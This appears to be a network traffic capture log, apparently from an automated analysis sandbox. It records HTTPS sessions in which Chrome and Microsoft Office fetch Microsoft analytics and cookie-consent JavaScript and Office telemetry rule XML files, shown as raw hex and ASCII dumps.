2024-12-01 02:33:17 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-12-01 02:33:17 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-12-01 02:33:17 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-12-01 02:33:17 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-12-01 02:33:17 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-12-01 02:33:17 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-12-01 02:33:17 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	49858	13.107.246.63	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:16 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-01 02:33:16 UTC	713	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:16 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 26862 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 77714c15-501e-0004-485a-434dd8000000 x-ms-version: 2009-09-19 x-azure-ref: 20241201T023316Z-174f7845968nxc96hC1EWRspw8000000123g000000004v1c Accept-Ranges: bytes
2024-12-01 02:33:16 UTC	16384	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-12-01 02:33:17 UTC	16384	IN	Data Raw: 2d 6c 61 62 65 6c 3d 22 27 2b 69 2e 65 73 63 61 70 65 48 74 6d 6c 28 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 2e 70 72 65 66 65 72 65 6e 63 65 73 44 69 61 6c 6f 67 43 6c 6f 73 65 4c 61 62 65 6c 29 2b 27 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 63 6c 6f 73 65 4d 6f 64 61 6c 49 63 6f 6e 2b 27 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 26 23 78 32 37 31 35 3b 3c 2f 62 75 74 74 6f 6e 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 64 6f 63 75 6d 65 6e 74 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 61 6c 42 6f 64 79 2b 27 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 Data Ascii: -label="'+i.escapeHtml(this.textResources.preferencesDialogCloseLabel)+'" class="'+a.closeModalIcon+'" tabindex="0">✕</button>\n <div role="document" class="'+a.modalBody+'">\n <div>\n <h1 class="'+a.mod
2024-12-01 02:33:17 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button-
2024-12-01 02:33:17 UTC	3565	IN	Data Raw: 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 Data Ascii: -")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChange

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:16 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9f43eb8e-e01e-003c-5891-3fc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023317Z-174f7845968kdththC1EWRzvxn0000000ep0000000009pfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:16 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 384e0a21-501e-0029-0a49-43d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023317Z-174f7845968psccphC1EWRuz9s00000012k000000000aqd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:17 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9fe3a977-e01e-0099-5cb4-42da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023317Z-174f78459684bddphC1EWRbht4000000120000000000d8pe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:17 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: aae3b9cd-c01e-0079-6bb3-42e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023317Z-174f7845968cdxdrhC1EWRg0en00000012c0000000000aez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:18 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: a0c05303-f01e-0000-2d91-3f193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023318Z-174f7845968nxc96hC1EWRspw8000000122g000000007c57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
